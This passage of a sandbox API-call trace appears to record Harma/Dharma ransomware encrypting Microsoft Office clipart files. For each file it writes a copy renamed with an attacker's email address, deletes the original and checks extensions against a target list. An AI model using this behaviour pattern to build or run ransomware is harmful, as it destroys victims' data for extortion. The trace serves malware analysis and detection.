0x3a4 [0163.059] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5386) returned 1 [0163.060] CloseHandle (hObject=0x3a4) returned 1 [0163.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0163.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.060] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.060] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0163.061] GetLastError () returned 0x0 [0163.062] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x150a, lpOverlapped=0x0) returned 1 [0163.120] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0163.121] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.121] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.122] SetEndOfFile (hFile=0x338) returned 1 [0163.122] CloseHandle (hObject=0x338) returned 1 [0163.122] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.122] SetEndOfFile (hFile=0x3a4) returned 1 [0163.126] CloseHandle (hObject=0x3a4) returned 1 [0163.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0163.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.172] lstrlenW (lpString=".doc") returned 4 [0163.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString=".docx") returned 5 [0163.173] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0163.173] lstrlenW (lpString=".pdf") returned 4 [0163.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString=".xls") returned 4 [0163.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.173] lstrlenW (lpString=".xlsx") returned 5 [0163.173] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0163.173] lstrlenW (lpString=".ppt") returned 4 [0163.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.173] lstrlenW (lpString=".zip") returned 4 [0163.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.173] lstrlenW (lpString=".rar") returned 4 [0163.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString=".bz2") returned 4 [0163.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString=".7z") returned 3 [0163.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.173] lstrlenW (lpString=".dbf") returned 4 [0163.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.173] lstrlenW (lpString=".1cd") returned 4 [0163.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.174] lstrlenW (lpString=".jpg") returned 4 [0163.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.174] lstrlenW (lpString=".doc") returned 4 [0163.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.174] lstrlenW (lpString=".docx") returned 5 [0163.174] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0163.174] lstrlenW (lpString=".pdf") returned 4 [0163.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.174] lstrlenW (lpString=".xls") returned 4 [0163.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.174] lstrlenW (lpString=".xlsx") returned 5 [0163.174] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0163.174] lstrlenW (lpString=".ppt") returned 4 [0163.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.175] lstrlenW (lpString=".zip") returned 4 [0163.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.175] lstrlenW (lpString=".rar") returned 4 [0163.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.175] lstrlenW (lpString=".bz2") returned 4 [0163.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.175] lstrlenW (lpString=".7z") returned 3 [0163.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.175] lstrlenW (lpString=".dbf") returned 4 [0163.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.175] lstrlenW (lpString=".1cd") returned 4 [0163.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0163.175] lstrlenW (lpString=".jpg") returned 4 [0163.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.175] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.176] lstrlenW (lpString="J0099180.WMF") returned 12 [0163.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.177] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3394) returned 1 [0163.177] CloseHandle (hObject=0x340) returned 1 [0163.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0163.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.178] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.178] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0163.179] GetLastError () returned 0x0 [0163.179] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xd42, lpOverlapped=0x0) returned 1 [0163.214] WriteFile (in: hFile=0x3a8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0163.216] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.216] WriteFile (in: hFile=0x3a8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.216] SetEndOfFile (hFile=0x3a8) returned 1 [0163.216] CloseHandle (hObject=0x3a8) returned 1 [0163.216] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.216] SetEndOfFile (hFile=0x340) returned 1 [0163.220] CloseHandle (hObject=0x340) returned 1 [0163.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0163.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.222] lstrlenW (lpString=".doc") returned 4 [0163.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.222] lstrlenW (lpString=".docx") returned 5 [0163.222] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0163.222] lstrlenW (lpString=".pdf") returned 4 [0163.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.222] lstrlenW (lpString=".xls") returned 4 [0163.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.222] lstrlenW (lpString=".xlsx") returned 5 [0163.222] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0163.222] lstrlenW (lpString=".ppt") returned 4 [0163.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.222] lstrlenW (lpString=".zip") returned 4 [0163.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.223] lstrlenW (lpString=".rar") returned 4 [0163.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString=".bz2") returned 4 [0163.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString=".7z") returned 3 [0163.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.223] lstrlenW (lpString=".dbf") returned 4 [0163.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.223] lstrlenW (lpString=".1cd") returned 4 [0163.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.223] lstrlenW (lpString=".jpg") returned 4 [0163.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.223] lstrlenW (lpString=".doc") returned 4 [0163.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.223] lstrlenW (lpString=".docx") returned 5 [0163.223] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0163.223] lstrlenW (lpString=".pdf") returned 4 [0163.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString=".xls") returned 4 [0163.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.224] lstrlenW (lpString=".xlsx") returned 5 [0163.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0163.224] lstrlenW (lpString=".ppt") returned 4 [0163.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.224] lstrlenW (lpString=".zip") returned 4 [0163.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.224] lstrlenW (lpString=".rar") returned 4 [0163.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString=".bz2") returned 4 [0163.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString=".7z") returned 3 [0163.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.224] lstrlenW (lpString=".dbf") returned 4 [0163.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.224] lstrlenW (lpString=".1cd") returned 4 [0163.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0163.224] lstrlenW (lpString=".jpg") returned 4 [0163.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.225] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.225] lstrlenW (lpString="J0099183.WMF") returned 12 [0163.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.227] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4946) returned 1 [0163.227] CloseHandle (hObject=0x340) returned 1 [0163.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0163.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.228] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.228] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0163.229] GetLastError () returned 0x0 [0163.229] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1352, lpOverlapped=0x0) returned 1 [0163.232] WriteFile (in: hFile=0x3a8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0163.233] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.233] WriteFile (in: hFile=0x3a8, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.233] SetEndOfFile (hFile=0x3a8) returned 1 [0163.234] CloseHandle (hObject=0x3a8) returned 1 [0163.234] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.234] SetEndOfFile (hFile=0x340) returned 1 [0163.237] CloseHandle (hObject=0x340) returned 1 [0163.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0163.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.239] lstrlenW (lpString=".doc") returned 4 [0163.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.239] lstrlenW (lpString=".docx") returned 5 [0163.239] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0163.239] lstrlenW (lpString=".pdf") returned 4 [0163.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.239] lstrlenW (lpString=".xls") returned 4 [0163.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.239] lstrlenW (lpString=".xlsx") returned 5 [0163.239] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0163.239] lstrlenW (lpString=".ppt") returned 4 [0163.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.239] lstrlenW (lpString=".zip") returned 4 [0163.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.239] lstrlenW (lpString=".rar") returned 4 [0163.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString=".bz2") returned 4 [0163.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString=".7z") returned 3 [0163.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.240] lstrlenW (lpString=".dbf") returned 4 [0163.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.240] lstrlenW (lpString=".1cd") returned 4 [0163.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.240] lstrlenW (lpString=".jpg") returned 4 [0163.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.240] lstrlenW (lpString=".doc") returned 4 [0163.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString=".docx") returned 5 [0163.240] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0163.240] lstrlenW (lpString=".pdf") returned 4 [0163.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.240] lstrlenW (lpString=".xls") returned 4 [0163.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.240] lstrlenW (lpString=".xlsx") returned 5 [0163.240] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0163.240] lstrlenW (lpString=".ppt") returned 4 [0163.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.241] lstrlenW (lpString=".zip") returned 4 [0163.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.241] lstrlenW (lpString=".rar") returned 4 [0163.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.241] lstrlenW (lpString=".bz2") returned 4 [0163.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.241] lstrlenW (lpString=".7z") returned 3 [0163.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.241] lstrlenW (lpString=".dbf") returned 4 [0163.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.241] lstrlenW (lpString=".1cd") returned 4 [0163.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned 63 [0163.241] lstrlenW (lpString=".jpg") returned 4 [0163.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.241] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.241] lstrlenW (lpString="J0099184.WMF") returned 12 [0163.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0163.508] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4118) returned 1 [0163.508] CloseHandle (hObject=0x340) returned 1 [0163.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0164.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), 